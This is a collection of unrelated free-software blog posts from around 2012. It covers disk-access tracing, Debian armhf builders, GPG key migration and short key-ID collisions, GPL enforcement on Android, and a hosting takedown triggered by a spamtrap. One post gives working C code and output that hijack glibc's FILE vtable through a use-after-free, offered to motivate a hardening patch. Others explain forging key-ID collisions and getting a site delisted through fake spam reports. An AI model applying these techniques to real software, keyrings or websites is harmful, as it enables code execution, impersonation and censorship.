Part of our efforts to reduce power consumption is to identify processes which keep waking up the disk even when the computer is idle. This already resulted in a few bug reports (and some fixes, too), but we only really just began with this. Unfortunately there is no really good tool to trace file access events system-wide. powertop claims to, but its output is both very incomplete, and also wrong (e. g. it claims that read accesses are writes). strace gives you everything you do and don t want to know about what s going on, but is per-process, and attaching strace to all running and new processes is cumbersome. blktrace is system-wide, but operates at a way too low level for this task: its output has nothing to do any more with files or even inodes, just raw block numbers which are impossible to convert back to an inode and file path. So I created a little tool called fatrace ( file access trace , not fat race ) which uses fanotify, a couple of /proc lookups and some glue to provide this. By default it monitors the whole system, i. e. all mounts (except the virtual ones like /proc, tmpfs, etc.), but you can also tell it to just consider the mount of the current directory. You can write the log into a file (stdout by default), and run it for a specified number of seconds. Optional time stamps and PID filters are also provided.

$ sudo fatrace
rsyslogd(967): W /var/log/auth.log
notify-osd(2264): O /usr/share/pixmaps/weechat.xpm
compiz(2001): R device 8:2 inode 658203
[...]

It shows the process name and pid, the event type (Rread, Write, Open, or Close), and the path. Sometimes its not possible to determine a path (usually because it s a temporary file which already got deleted, and I suspect mmaps as well), in that case it shows the device and inode number; such programs then need closer inspection with strace. If you run this in gnome-terminal, there is an annoying feedback loop, as gnome-terminal causes a disk access with each output line, which then causes another output line, ad infinitum. To fix this, you can either redirect output to a file (-o /tmp/trace) or ignore the PID of gnome-terminal (-p pidof gnome-terminal ). So to investigate which programs are keeping your disk spinning, run something like

  $ sudo fatrace -o /tmp/trace -s 60

and then do nothing until it finishes. My next task will be to write an integration program which calls fatrace and powertop, and creates a nice little report out of that raw data, sorted by number of accesses and process name, and all that. But it might already help some folks as it is right now. The code lives in bzr branch lp:fatrace (web view), you can just run make and sudo ./fatrace. I also uploaded a package to Ubuntu Precise, but it still needs to go through the NEW queue. I also made a 0.1 release, so you can just grab the release tarball if you prefer. Have a look at the manpage and --help, it should be pretty self-explanatory.

I'm going to deliver this talk at fosdem 2012, room H.1301 (CrossDistribution Devroom) at 16:30 on Sat. If you are interested, please come by. In particular I'd like to talk with all the developers out there that are using our work (of edos fame) and to discuss with them future plans to migrate their programs to the new generation of mancoosi - powered QA tools. Scroll down to get the slides . fosdem link : http://fosdem.org/2012/schedule/event/distro_qa_tools

Abstract FOSS distributions are increasingly over pressure to deliver stable releases including the most up to date upstream software. Time-based release strategies has exacerbated this problem putting even more pressure on QA teams. The recently concluded Mancoosi project has developed a number of tools to automatically analyse large packages collections for a range of problems, from installability checks to speculative analysis of software repositories. In this talk I'll present four command line tools to identify and correct potential problems as soon as possible during the release cycle. In particular :

• Debcheck: This tools helps to identify all broken packages within a repository and provides a detailed explanation of the problem. This can be used to prevent shipping releases that contain packages that cannot be installed because of missing or malformed dependencies.
• Buildcheck: Given a Sources file and a set of binary repositories, this tool identifies those source packages that cannot be compiled because their build dependencies cannot be satisfied.
• Outdated: This tool identifies those broken packages that need special attention because of outdated meta-data.
• Challenged: This tool performs a speculative analysis of the repository to identify those packages that, if upgraded to a specific version, would break a large number of other packages in the repository. This tool would be particularly useful during the upgrade of a specific component to evaluate its impact on the software archive.

Most of our tools support both rpm (version 4 and 5) and deb based distributions. The mancoosi team.

Attachment	Size
main.pdf	504.46 KB

On Wednesday, February 1, a new virtual server May First/People Link recently rented went offline. We contracted the virtual server through Server4All because we need their un-metered 100Mbit connection to help us handle the bandwidth for Sahara Reporters, one of the most important independent news sources for Saharan Africa. With the server offline, the web site was down as well. We scrambled to setup alternative caching servers to handle the bandwidth. When I logged into our control panel, I saw the message: This virtual server has been suspended by the administrator. Please contact support. I immediately contacted support and then received the message:

Hello
We have received the following complaint associated with your server/service.
IP: 76.73.121.164
To prevent any further abuse we have suspended this service. In order to
resume, we request you to cooperate with our investigation as promptly as
possible. Please respond to us with the following details:
(1) What has caused the complaint
(2) What is the server used for. Purpose?
(3) How can you resolve the complaint and make sure it will not be repeated.
Depending on the nature of the complaint and your response, we will put back
the server online.  Please note, this has violated our Terms Of Service. We
expect your response within 24 hours, otherwise your account will be
terminated permanently.  Thank you

What?? What complaint?? I followed up but had to wait til the next day to get the response.

Here is the full log,
An email advertizing the Domain Name: saharareporters.com
has been sent to the blacklist.woody.ch spamtrap.
This Domain does resolve to IP addresses one of which your are responsible:
76.73.121.164
Please investigate why this Domain has been advertized.
Attached you find the headers and reports in ARF for automatic processing.
Feedback is appreciated.
Actual listing periods:
Bounce: 1 Hour in DNS.
Whitelisted IP: Not lised in DNS.
Spam: 24 hours in DNS.
Every Hit: 14 days in evidence DB.
For any questions or Feedback, contact abuse@woody.ch
From: is intentionally set to a bit-bucket.
Kind regards
-Benoit Panizzon-

There is no attachment. I went to woody.ch and it was in German. Then tried blacklist.woody.ch, but no luck. Finally I found the Woody's World Blacklist Page. I plugged in our IP address into their checker and I got:

Output from the Check, if empty the IP is not listed.
164.121.73.76.[name of the blacklist] being tested.
Host 164.121.73.76.blacklist.woody.ch not found: 3(NXDOMAIN)
Host 164.121.73.76.blacklist.woody.ch not found: 3(NXDOMAIN)
Host 164.121.73.76.rbl.maps.vix.com not found: 3(NXDOMAIN)
Host 164.121.73.76.rbl.maps.vix.com not found: 3(NXDOMAIN)
Host 164.121.73.76.relays.mail-abuse.org not found: 3(NXDOMAIN)
Host 164.121.73.76.relays.mail-abuse.org not found: 3(NXDOMAIN)
;; connection timed out; no servers could be reached
;; connection timed out; no servers could be reached
;; connection timed out; no servers could be reached
;; connection timed out; no servers could be reached
Host 164.121.73.76.relays.ordb.org not found: 3(NXDOMAIN)
Host 164.121.73.76.relays.ordb.org not found: 3(NXDOMAIN)
Host 164.121.73.76.dev.null.dk not found: 3(NXDOMAIN)
Host 164.121.73.76.dev.null.dk not found: 3(NXDOMAIN)
Host 164.121.73.76.blackholes.five-ten-sg.com not found: 3(NXDOMAIN)
Host 164.121.73.76.blackholes.five-ten-sg.com not found: 3(NXDOMAIN)
Host 164.121.73.76.bl.spamcop.net not found: 3(NXDOMAIN)
Host 164.121.73.76.bl.spamcop.net not found: 3(NXDOMAIN)
Host 164.121.73.76.relays.visi.com not found: 3(NXDOMAIN)
Host 164.121.73.76.relays.visi.com not found: 3(NXDOMAIN)
164.121.73.76.blacklist.spambag.org has address 208.91.197.182
164.121.73.76.blacklist.spambag.org descriptive text "v=spf1 -all"

So, Woody's World thinks we are listed in spambag.org. I went to spambag.org and learned that the domain is for sale. I then tried blacklist.spambag.org and got the same page. This page has many links all pointing to advertisements. The "RBL List" link takes me to a page advertising "5 foods you must not eat." Next, out of curiousity, I tried Mxtoolbox. I got one hit from Barricuda. Barricuda says the reputation of the IP address is "poor". Why? According to Barricuda, the reasons could be:

• Your email server contains a virus and has been sending out spam.
• Your email server may be improperly configured.
• Your PC may be infected with a virus or botnet software program.
• Someone in your organization may have an infected PC with a virus or botnet program.
• You may be using a dynamic IP address which was previously used by a known spammer.
• Your marketing department may be sending out bulk emails that do not comply with the CAN-SPAM Act.
• You may have an insecure wireless network which is allowing unknown users to use your network to send spam.
• In some rare cases, your recipient's Barracuda Spam Firewall may be improperly configured.

Keep in mind, this IP address is not used for sending email. It's just the web site. I then took a step back and re-read the complaint and noticed that it says that the domain name saharareporters.com was listed in a spam email. Hm. More concerted searching for the terms "woody spamtrap blacklist" and I found a pattern in URLs that suggested I plug in the following: http://news.scoutnet.org/rblhostlist.php?id=saharareporters.com.uri And sure enough, there was a result. In short, it was a classic Nigerian Oil scam in which the person claims to be "JAMES IBORI ex-governor of DELTA STATE oil city." The scammer acknowledges that he has been arrested, but promises lots of cash to the person who can help him. In an effort to boost their credibility, the scammer included a link to a Sahara Reporters article about the real James Ibori. And that, my friends, is enough to have one of the most prominent independent African news organization taken offline. But, Sahara Reporters shouldn't necessarily feel singled out. Sahara Reporters should feel singled out. They exist to illuminate news from Africa. They were taken offline because a series of individuals don't know the difference between a prominent independent African news service and a criminal scammer. To most of the Internet, Nigeria and email scams are synonymous. That has to change. Although Sahara Reporters is particularly vulnerable, any site hosted with Server4All can potentially be taken down. All you have to do is write a fake spam/scam email, including a link to the web site you want to be taken offline, and then send that email to: listme@blacklist.woody.ch. I'm currently following up with both Woody's World and Server4All. However, once this particular issue is resolved, we're left with a much bigger and ominous problem. If your hosting provider (or their upstream provider) takes your site offline when it receives a complaint first and then asks questions second, you have a big problem. All of our legal fights over our rights to keep content online are moot if our providers, without any legal pressure to do so, still take down our services based on spurious complaints.

So the site http://megaupload.com/ has been taken offline, amidst allegations of knowingly conducting in piracy. There are probably a lot of legitimate users who have lost access to their uploaded files, even if they were offsite backups you can imagine a user owning a website which now has a million dead-links. This reminds me of a conversation I overheard on Jon Dowlands blog - the summary is that he'd written a (useful) tool to extract attachments from Maildir folders and was wondering how to store and access those attachments. The upshot seemed to be magical URLs of the form:

• https://file.example.com/sha1/509c2fe2eba509e93987c3024a74d74583c274bd

The comments covered an alternative which was hash:///sha1/xxxxxxxxxxxxxxxx, which then becomes close to the magnet:// schema. I've not yet thought things through, but I can't help thinking that with the redundency already present in the internet we should be looking at non-server-specific links. Yes there are times right now when you might want to address a specific file on a specific server - but otherwise? Wouldn't it be nice if you could just access a file from "anywhere" which happened to have the right contents? Already my nonporn-but-definitely-adult-site makes its images available as /img/$md5sum.jpg - and similarly the storage at the back-end of my random image upload site uses SHA1 hashes to store the actual files. To make this more complete what we need is something that crawls the internet to find files by hash; then add support in browsers. Obviously this must be async and could introduce timing issues, but fundamentally it seems like a reasonable approach to the problem of a single host going offline. (Consider what happens if imgur.com disappears. All those links would die, yet 99% of the images would still be available somewhere.) I'm tempted to suggest microformat format but I need to consider the matter. Right now I'm going to immediately update my current image hosts to use, at the very least:

 <a href="/foo" rel="sha1:xxxxx md5sum:xxxx">
  <img src="foo.jpg" alt="img name">
 </a>

The unfortunate thing is you cannot have a 'rel="xx"' attribute for an image. So you either have to encode it in the parent link, or add it to the alt attribute which is suboptimal. ObQuote: "Now, they tell me I paid my debt to society." - Oceans Eleven (2001)

Current status Back in September, I wrote about the machines that I set up to help bootstrap the new armhf port in Debian. Basing on Konstantinos' huge efforts in bringing up the new "architecture" in debian-ports, we started importing armhf into the main Debian archive on the 24th of November. Since then, those builders have been churning away night and day to build the huge collection of software that makes up the Debian archive. The current state can be seen on the armhf buildd status page, and there's a nice graph showing how quickly we've managed to run from 0 to over 90% of the archive here. (Click on the image for a larger version, or visit https://buildd.debian.org/stats/ for other versions. We overtook hurd-i386 quickly and are now ahead of the kfreebsd-* architectures. We've recently brought 3 more similar build machines online (hildegard, howells and hummel), again sponsored by the nice folks at Linaro but now hosted at the York NeuroImaging Centre at the University of York. This gives us both more build horsepower to keep up with building more different bits of Debian (experimental, updates etc.) and more redundancy in case of problems. We now have the vast majority of the archive built, and now a number of us are concentrating on fixing the remaining issues: language bootstraps and bugs. Also, on the 7th of January we were just added into testing, the next step on our path for inclusion as a Debian release architecture. Setting up the machines A lot of people have been asking me about the physical setup I showed in my last blog about these machines, so here's more details for those who are interested.

• 3U mini-rack
  • Schroff model 24563-192 subrack (3U, 235mm deep), ordered from Farnell in the UK.
  • Added some 24560-353 220mm guide rails (Farnell link).
  Lovely kit, which fits together easily for a rigid enclosure.
• ATX PSU
  • Ideally with lots of old-style Molex power connectors. I bought the cheapest one I could find from my supplier, and dismantled it. I cannibalised another old PSU and soldered on some extra Molex connectors.
  • In theory, the 6 boards and disks I'm using here could use up to 15W each on the 5V rail (but in practice much less); any current PSU on the market should handle that easily.
  • While I had the case open, I drilled holes and put some bolts through so I could mount it to the mini-rack.
  • Finally, connect together pins 15 and 16 on the ATX power connector so that the PSU will come on without needing to be connected to a PC motherboard (details on wikipedia).
• Freescale iMX53 Quickstart boards
  • These are the little 3-inch square dev boards I'm using. I bought them from Mouser here, but there are quite a few other companies selling them too. Apparently this exact part has just gone EOL, but there is a replacement that I would hope to work in its place.
• 2.5 inch SATA hard drives
  • I just bought what looked reasonably priced from my local supplier, 320 GB on the first machines and 250 GB on the next three after the recent rise in disk prices.
• Cables and connectors
  • 45cm right-angle SATA cable with one right-angled end like this
  • Molex to twin SATA-power cable like this
  • 2.1mm/5.0mm power plug like here (L48AY at Maplin)
  The downside of the Quickstart board is that it doesn't include a SATA power connector on the board, just a SATA data connector. So, what I've done for my boards is modify Molex to SATA power splitters. This way I get a single power input for the board/drive combination as a whole.
  • The Molex socket will connect to the Molex plug from the PSU
  • The first SATA power connector goes to the laptop drive
  • Cut off the second SATA connector
  • Using the red and black (5V and ground) wires remaining, solder on a power plug to drive the board itself
• Perspex board
  • I found a supplier near Cambridge for some perspex. Each machine has a base card measuring 220mm x 100mm, 2mm thick. I drilled holes and mounted each board with a drive and its cables as shown here.

Mount the 6 boards into the mini-rack, connect up the Molex power connectors to each board, attach ethernet cables and turn it all on! Each board comes with a micro-SD card containing uboot and an Ubuntu installation. I've configured uboot to boot off the hard drive directly, but leaving configuration available to use the Ubuntu on the micro-SD as a simple rescue system should the need arise. The Quickstart boards are not ideal physically for two reasons: the lack of SATA power, plus you need to push a power button on each board to boot it - they don't boot automatically the moment power is applied. However, they're quite inexpensive little machines and have done a great job of building the Debian archive so far! The ideal machines for us would also include more RAM at this point. CPU on these is adequate, but the larger C++ packages (yay webkit!) use a huge amount of memory at link time. Linking in swap is not the best thing, performance-wise... :-( UPDATE 2012-01-12: Ian tells me that the newer Quickstart-R boards apparently have a different power controller; these now boot up straight away without needing you to push a button. That sounds useful.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1,SHA512

Hello,

I'm transitioning from my 2003 GPG key to a new one.

The old key will continue to be valid for some time, but I eventually 
plan to revoke it, so please use the new one from now on. I would also 
like this new key to be re-integrated into the web of trust. This message 
is signed by both keys to certify the transition.

The old key was:

pub   1024D/FC7F6D0F 2003-07-10
      Key fingerprint = E6A8 8BA0 D28A 3629 30A9  899F 82D7 DF6D FC7F 6D0F

The new key is:

pub   4096R/90BDD207 2012-01-06
      Key fingerprint = 6B85 4D46 E843 3CD7 CDC0  3630 E0F7 59F7 90BD D207

To fetch my new key from a public key server, you can simply do:

  gpg --keyserver pgp.mit.edu --recv-key 90BDD207

If you already know my old key, you can now verify that the new key is 
signed by the old one:

  gpg --check-sigs 90BDD207

If you don't already know my old key, or you just want to be double 
extra paranoid, you can check the fingerprint against the one above:

  gpg --fingerprint 90BDD207

If you are satisfied that you've got the right key, and the UIDs match 
what you expect, I'd appreciate it if you would sign my key:

  gpg --sign-key 90BDD207

Lastly, if you could send me these signatures, i would appreciate it. 
You can either send me an e-mail with the new signatures by attaching 
the following file:

  gpg --armor --export 90BDD207 > timojyrinki.asc

Or you can just upload the signatures to a public keyserver directly:

  gpg --keyserver pgp.mit.edu --send-key 90BDD207

Please let me know if there is any trouble, and sorry for the inconvenience.

(this post has been modified from the example at 
http://www.debian-administration.org/users/dkg/weblog/48)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iEYEARECAAYFAk8GuZoACgkQgtffbfx/bQ9nqACglWyHnDTFQfdKmz8OCd3oL6iR
hcEAmgKJ7RZsgwxwkRGPhygy5y1Ztb+3iQIcBAEBCgAGBQJPBrmaAAoJEOD3WfeQ
vdIHdVQQAMT1yvIogzbtK6sUnWqwbrXI9pDEFk7AzJTb80R+wzxsw7gu9gcBDk8G
BL2O26GKUqKWA3ytuApSl42FJam/Lusi9npT3XNkmHs6FaBMNuLYrqEXmCwXwWr/
OrLyeeLiF4yxgbNWbv+600BqAWqFlo6NeTgQKsJWtCjR3RVMxX3R8nzjDnKJuF+z
c6+2JKBWyx/HVUKcJpJrFDDR36HRFvVJomTuma2JCQ/RAl9vzAguqNYOi1QkuuQv
EF1gXH7gLifukGuwquP1DHP6SWWkj77jtRWr5ewC0xymbrArzAwKbvMQl3VpKBHh
MmpJjYP3ECyL14AKi/TY2Lidi0Sf6yqFMcPcreoih01N0OU0NXmD4IrHMT24/ssb
okDUe1o3YImjGq1jTACvlzC8s54EfLsqDgSP98SGVpuoDqPJUwVk4nuHj8q0vDSs
qZox26gVwB2FAOUi1BFiZbIzM5rsyYfCGyWUGiAwBFf54lYRAeCDCt8iAOOL1Ov/
TumIGYdLoXnDuOJq1VjXLGx2OFDrpyU8SPGoa3zNEVz39tgxQ48ASJEqcqt7HvBy
IW+TTsMLdJ1Ait9aCM3mzzr1iwP8TrL0qUsdRLOE6AKdAqocIfqXY8OeDKhbUiOJ
CXWk5q3xheK3sDWUXX7J63bAAUH4jFnpQEOVMJKBUNMKsWa0iXDS
=mklN
-----END PGP SIGNATURE-----

A bit over a year ago, I wrote about how an incredible number of Android tablets on the market were in violation of the terms of the GPL. I've had rather a lot else to do since then so it's now awfully out of date - but taking a quick browse through the current stack of cheaper devices indicates that things aren't all that much better. We've got source code for some chipsets that were missing it before, but to compensate we've got a whole bunch of new hardware that's entirely lacking. It's all pretty poor, really.

At the time, I wrote the following:

"(Side note: People sometimes ask why Google aren't doing more to prevent infringing devices. For the vast majority of these cases, Google's sole contribution has been to put Android source code on a public website. Red Hat own more of the infringing code than Google do. There's no real reason why Google should be the ones taking the lead role here, and there's fairly sound business reasons why it's not in their interest to do so)"

Factually speaking, nothing's changed. Each of these devices contains code owned by Google, and Google could absolutely take legal action against the vendors. Equally, so could Red Hat, Intel, Nokia and dozens of other companies who hold copyright on portions of the code carried on these devices, and so could thousands of individuals around the world. Nobody's obliged to enforce their copyrights, and in the absence of anyone else doing so it's unreasonable to insist that Google should do it.

However.

Google gives Android away. This seems like an odd thing for them to do, given that it's a significant engineering effort and costs a lot of money to produce. But remember what Android brings to Google - it's a platform with a well-integrated mechanism for distributing advertising to users. Scanning the market shows a huge number of ad-supported apps, and Google's getting money for every single one of those that gets shown. The more Android devices, the bigger the market for apps - and the wider their advertising reach.

In other words: unscrupulous hardware vendors save money by ignoring their GPL obligations. This lets them appeal on price, increasing the number of Android devices in use and increasing Google's profits. Google makes money off other people's violation of the GPL.

Could Google do anything to stop this? Yes. They could sue for copyright infringement, but that kind of thing's time consuming and awkward and any argument about the GPL always seems to end up as a big argument involving conspiracy theories. Instead, Google could attach some extra conditions to the Android trademark. Requiring that the trademark only be attached to GPL-compliant products ought to allow Google to take advantage of the existing well-tested mechanisms for seizing counterfeit goods, providing a direct economic incentive for companies to come into compliance. For added marks, they could restrict the adwords code to devices that use the trademark - if the vendor removes the trademark, applications depending on the adwords functionality would refuse to run and Google wouldn't make money off the infringing hardware.

Or, of course, they could just carry on making extra money as a result of vendors denying users the freedoms granted by the copyright holders. Although that sounds kind of evil to me.

Edit: You probably also want to read the followup post here.

comments

Somebody probably already recommended you to switch to Git, because it's the best VCS. I'd like to go a step further now and talk about the risk you're taking if you won't switch soon.
By still using SVN (if you're using CVS you're doomed anyway), you communicate the following:

• We're ignorant about the fact that the rest of the (free) world switched to Git.
• We don't invest time to train our developers in new technologies.
• We don't care to provide the best development infrastructure.
• We're not used to collaborate with external contributors.
• We're not aware how much Subversion sucks and that Subversion does not support any decent development process. Yes, our development process most certainly sucks too.

Be aware that good developers today will not consider working with or for you if you're still using SVN. - And that's the risk.
Until recently I thought that Mercurial would be an acceptable alternative to Git. Until I used mercurial for some time. It is not.

Update: The comments are not too approving, to say the least. Lets see what time will tell. In the meanwhile I'll attach links to this blogpost:

• using Git for some special workflows not so easy possible using Mercurial

Summary: It is important that we (the Debian community that relies on OpenPGP through GNU Privacy Guard) stop using short key IDs. There is no vulnerability in OpenPGP and GPG. However, using short key IDs (like 0x70096AD1) is fundementally insecure; it is easy to generate collisions for short key IDs. We should always use 64-bit (or longer) key IDs, like: 0x37E1C17570096AD1 or 0xEC4B033C70096AD1. TL;DR: This now gives two results: gpg --recv-key 70096AD1

Some background, and my two keys Years ago, I read dkg's instructions on migrating the Debian OpenPGP infrastructure. It told me that the time and effort I had spent getting my key into the strong set wasn't as useful as I thought it had been. I felt deflated. I had put in quite a bit of effort over the years to strongly-connect my key to a variety of signatures, and I had helped people get their own keys into the strong set this way. If I migrated off my old key and revoked it, I'd be abandoning some people for whom I was their only link into the strong set. And what fun it was to first become part of the strong set! And all the eyebrows I raised when I told people I was going meet up with people I met on a website called Biglumber... I even made it my Facebook.com user ID. So if I had to generate a new key, I decided I had better really love the short key ID. But at that point, I already felt pretty attached to the number 0x70096AD1. And I couldn't come up with anything better. So that settled it: no key upgrade until I had a new key whose ID is the same as my old key. That dream has become a reality. Search for my old key ID, and you get two keys!

$ gpg --keyserver pgp.mit.edu --recv-key 0x70096AD1
gpg: requesting key 70096AD1 from hkp server pgp.mit.edu
gpg: key 70096AD1: public key "Asheesh Laroia <asheesh@asheesh.org>" imported
gpg: key 70096AD1: public key "Asheesh Laroia <asheesh@asheesh.org>" imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 2
gpg:               imported: 2  (RSA: 1)

I also saw it as an opportunity: I know that cryptography tools are tragically easy to mis-use. The use of 32-bit key IDs is fundamentally incorrect -- too little entropy. Maybe shocking people by creating two "identical" keys will help speed the transition away from this mis-use.

A neat stunt abusing --refresh-keys Thanks to a GNU Privacy Guard bug, it is super easy to get my new key. Let's say that, like many people, you only have my old key on your workstation:

$ gpg --list-keys   grep 70096AD1
pub   1024D/70096AD1 2005-12-28

Just ask GPG to refresh:

$ gpg --keyserver pgp.mit.edu --refresh-keys
gpg: refreshing 1 key from hkp://pgp.mit.edu
gpg: requesting key 70096AD1 from hkp server pgp.mit.edu
gpg: key 70096AD1: public key "Asheesh Laroia <asheesh@asheesh.org>" imported
gpg: key 70096AD1: "Asheesh Laroia <asheesh@asheesh.org>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg: no ultimately trusted keys found

You can see that it set out to refresh just 1 key. It did that by querying the keyserver for the short ID. The keyserver provided two hits for that query. In the end, GPG refreshes one key and actually imports a new key into the keyring! Now you have two:

$ gpg --list-keys   grep 70096AD1
pub   1024D/70096AD1 2005-12-28
pub   4096R/70096AD1 2011-03-11

There is a bug filed in GNU Privacy Guard about this. It has a patch attached. There is, at the moment, no plan for a new release.

A faster attack, but nothing truly new My friend Venkatesh tells me there is an apocryphal old Perl script that could be used to generate key ID collisions. Here in the twenty-first century, l33t h4x0rz like Georgi Guninski are trying to create collisions. In May 2010, "halfdog" posted a note to the full-disclosure list that generates PGP keys with chosen short key IDs. I haven't benchmarked or tested that tool, but I have used a different tool (private for now) that can generate collisions in a similar fashion. It takes about 3 hours to loop through all key IDs on a dinky little netbook. You don't have to use any of these tools. You can just rent time on an elastic computing service or a botnet, or your own personal computer, and generate keys until you have a match. I think that it's easy to under-estimate the seriousness of this problem: tools like the PGP Key Pathfinder should be updated to only accept 64-bit (or longer) key IDs if we want to trust their output.

My offer: I will make you a key I've been spending some time wondering: What sort of exciting demonstration can I create to highlight that this is a real problem? Some ideas I've had:

• Publish a private/public key pair whose key ID is the same as Phil Zimmerman's, original author of PGP
• Publish a private/public key pair whose key ID is the same as Werner Koch's, maintainer of GNU Privacy Guard
• Publish a set of public keys that mimic the entire PGP strong set, except where I control the private key of all these keys

The last one would be extremely amusing, and would be a hat-tip to some work discussed in Raph Levien's Google Tech Talk about Advogato. For now, here is my offer: If you send me a request signed with a key in the strong set, I will create a 4096-bit RSA public/private key pair whose 32-bit key ID is one greater than yours. So if you are 0x517DD4E4 I will generate 0x517DD4E5. I will post the keys here, along a note about who requested it, and instructions on how to import them into your keyring. (Note: I will politely decline to create a new key whose 32-bit key ID would create a collision; apologies if your key ID is just one away from someone else's.) P.S. The prize for best sarcastic retort goes to Ian Jackson. He said, "I should go and create a lot of keys with your key ID. I'll set the real name to 'Not Asheesh Laroia' so everyone is totally clear about what is going on."

When attacking a process, one interesting target on the heap is the FILE structure used with stream functions (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What s interesting is that this isn t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have: In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn t protected the FILE structure in the same way. I m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven t overlooked something, since I d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :) Here s a quick exploit demonstration in a trivial use-after-free scenario:

#include <stdio.h>
#include <stdlib.h>
void pwn(void)
 
    printf("Dave, my mind is going.\n");
    fflush(stdout);
 
void * funcs[] =  
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
 ;
int main(int argc, char * argv[])
 
    FILE *fp;
    unsigned char *str;
    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);
    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r")))  
        perror("fopen");
        return 1;
     
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    /* Trigger call to pwn(). */
    fclose(fp);
    return 0;
 

Before the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.

After the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault

Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I d like to see this fixed too, but it ll require more time to study. :)

2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

One of my side projects for these last months was to enroll on the online Introduction to AI class, with Peter Norvig and Sebastian Thrun, professors at Stanford. Through it I also learned about the Kahn Academy. I must say that getting to know these efforts made me feel similar to when I found Free Software: it s hard to believe that such great things exist! I learned some really cool stuff, and was also introduced to the amazing work of Sebastian Thrun with self-driving cars, it was an awesome experience! Last weekend I took the final exam, and today I got the certificate of accomplishment. It was delivered as a signed PDF which can be checked with a certificate they provided, pretty neat. I m very happy, and motivated to enroll on more such courses in the future =). Now it s time to cool down, though. My vacations start today, and on the weekend I ll travel to the sunny Fortaleza, in northeastern Brazil, to enjoy some nice beaches and get some tan. See you next year!

Here's the mail archiving script I was talking about: http://github.com/jmtd/detachment. Sorry about the name-pun. There's still a LOT of work to do, but it's useful enough to deploy, with modifications, now. If you set up a way of pushing stuff in a local directory to a remote webserver (ideally behind an SSL certificate and with access control configured) and you have a resolvable hostname for that site, then you can get at your files from most mail/web client combinations, including smartphones. Here's some stats from running it on a sample mailbox: Before

$ du -sh ncl/archive/2010
116M    ncl/archive/2010

After

$ du -sh ncl/archive/2010 bucket
41M     ncl/archive/2010
51M     bucket

Or, approximately 20% smaller. (That's the on-disk usage for the mail and the attachments, now not base64-encoded, and saved to disk). The above folder was a local Maildir copy of a folder on an Exchange mail system, synchronised via offlineimap. Here are the sizes reported by Exchange for the same folder:

• Before: 83991KB (82M)
• After: 25435KB (25M)

Or, approximately 70% smaller. (That's the mails without the attachments counted, which are not in the Exchange server any more). Lots of caveats:

• If you are using offlineimap, you will need to do more than just run this script, or offlineimap may not notice that the messages have changed. Stripping out the U=\d+,FMD5=[0-9a-f] 32 component of filenames seemed to do the trick.
• If you are using Exchange, a copy of the original messages will be retained in your Deleted Items folder. Beware if you are close to your mail quota.
• If you are using Exchange via IMAP, then syncing the results of such an operation might be very slow. The above operation took well over an hour to sync, and I'm only a few hops away from the Exchange server via 100M links.

When I started using Linux, I started with a desktop environment (KDE) and then tried a lot of (standalone) window managers, including but not limited to Enlightenment, Blackbox, Fluxbox and Sawfish. But I was never really satisfied as it felt as if something was missing.
It then came, that I became a user of a desktop environment again. Now I have been a GNOME user for at least five years.

gsettings set org.gnome.desktop.session session-name 'gnome-fallback'

Ben Hutchings is a rather unassuming guy but hiding behind his hat, there s a real kernel hacker who backports new drivers for the kernel in Debian stable so that our flagship release supports very recent hardware. Read on to learn more about Ben and the kernel team s projects for Debian Wheezy! Raphael: Who are you? Ben: I m a professional programmer, living in Cambridge, England with my long-suffering wife Nattie. In Debian, I mostly work on the Linux kernel and related packages. Raphael: How did you start contributing to Debian? Ben: I started using Debian in 1998 and at some point I subscribed to Debian Weekly News. So in 2003 I heard about the planned Debian 10th birthday party in Cambridge, and thought I would like to go to that. Somehow I persuaded Nattie that we should go, even though it was on the day of our wedding anniversary! We both enjoyed it; we made new friends and met some old ones (small world). From then on we have
